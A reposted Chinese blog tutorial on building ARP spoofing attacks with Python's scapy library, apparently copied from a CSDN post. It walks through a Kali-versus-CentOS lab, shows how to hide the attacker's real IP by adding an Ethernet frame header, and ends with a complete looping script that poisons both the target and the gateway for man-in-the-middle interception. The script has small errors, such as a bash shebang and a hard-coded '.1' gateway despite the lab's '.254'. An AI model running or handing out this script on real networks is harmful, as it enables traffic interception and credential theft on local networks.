0


python编写arp攻击与欺骗脚本

1.arp欺骗

arp欺骗是数据链路层的攻击,在数据链路层是通过mac地址来发送报文的,所以需要将网络层的ip对应到mac地址,由于arp协议是基于局域网内主机互相信任的基础上的,如果我们构造并发送了一个arp欺骗包,就可以实现arp欺骗。

2.arp欺骗实验

攻击者:kali,192.168.20.128,29:ff:fe:5a:37:4f

靶机:centos,192.168.20.130,2a:90:fd:63:41:97

网关:192.168.20.254

  1. 2.1 构造arp包

  2. 将靶机ip填写到pdst中,将需要冒充的ip写到psrc中

2.2 发送数据包

sr1代表发送数据包,并且接受第一个返回数据包,可以用show()方法查看返回数据包的内容

2.3 查看路由表

可以看到我们伪造的192.168.20.2的ip地址对应的mac地址确实变成kali的mac地址,但同时路由表中也存在着kali的真实ip,这就意味着同一个mac地址对应到了两个ip地址,很容易被发现arp欺骗

为了搞清楚为什么kali会暴露自己真实的ip地址,用wireshark抓取整个过程的数据包

发现kali在欺骗之前首先先发了一个广播包,找靶机,这里靶机就能获取到kali的真实ip和mac

出现这种情况的原因是我们没有定义ethernet 2帧头,kali就主动发送广播包问谁是靶机,然后带上真实的ip和mac地址,因此要事先定义帧头

3.完善arp欺骗过程

构造数据包如下:

sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(psrc="192.168.20.254",pdst="192.168.20.130",hwdst="2a:90:fd:63:41:97"))

Ether()就是我们定义的帧头

/的做作用是将两个数据包拼凑起来,但数据包必须按照网络的层次排列

send表示只发送数据包,不接收返回,加上p表示数据包是在数据链路层上传输的

发送数据包后看到此次并没有发送kali的真实ip

靶机的路由表中也没有发现kali的ip

4. 编写arp欺骗脚本

编写脚本要注意,arp欺骗是双向的,也就是kali既要欺骗靶机,也要欺骗网关,这样才能让靶机感受不到差别;同时构造arp欺骗包是要加上帧头不被察觉;

代码如下:

    #!/bin/bash
    
    from scapy.all import *
    import time
    import sys
    
    # 构造并发送arp欺骗包的函数
    def arp(pdst, psrc):
        pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=pdst,psrc=psrc)
        sendp(pkt)
        return
    
    # 实行arp欺骗的函数
    def main():
        # 接收命令行的参数
        if len(sys.argv)!=2:
            print("invalid value")
            print("pdst")
            sys.exit()
    
        # 拿到的是靶机的ip
        pdst = str(sys.argv[1]).strip()
        pdst_lst = pdst.split(".")
        pdst_lst[3] = "1"
        # 下面获取网关的ip
        pgateway = ""
        for i in pdst_lst:
            pgateway = pgateway + i + "."
        pgateway = pgateway[0:-1]
        print(pgateway)
    
        # 对靶机和网关实行arp欺骗
        while True:
            try:
                arp(pdst,pgateway)
                arp(pgateway,pdst)
                time.sleep(0.5)
            # 键盘按下ctr+c自动停止
            except KeyboardInterrupt:
                print("over")
                break
    
    if __name__ == "__main__":
        main()

解释:

  1. from scapy.all import *,导入scapy模块来编写arp欺骗脚本

  2. if len(sys.argv)!=2:,这里是需要运行脚本的时候传入靶机的ip地址作为参数,如果传入的参数个数不对就会退出

  3. 脚本中网关的ip是根据传入的靶机的ip自动获取的

  4. arp(pdst,pgateway),arp(pgateway,pdst),这两个函数的调用就实现了对靶机和网关的双向欺骗

标签: 安全 网络 服务器

本文转载自: https://blog.csdn.net/dhdichch/article/details/125028553
版权归原作者 书犹药也 所有, 如有侵权,请联系我们删除。

“python编写arp攻击与欺骗脚本”的评论:

还没有评论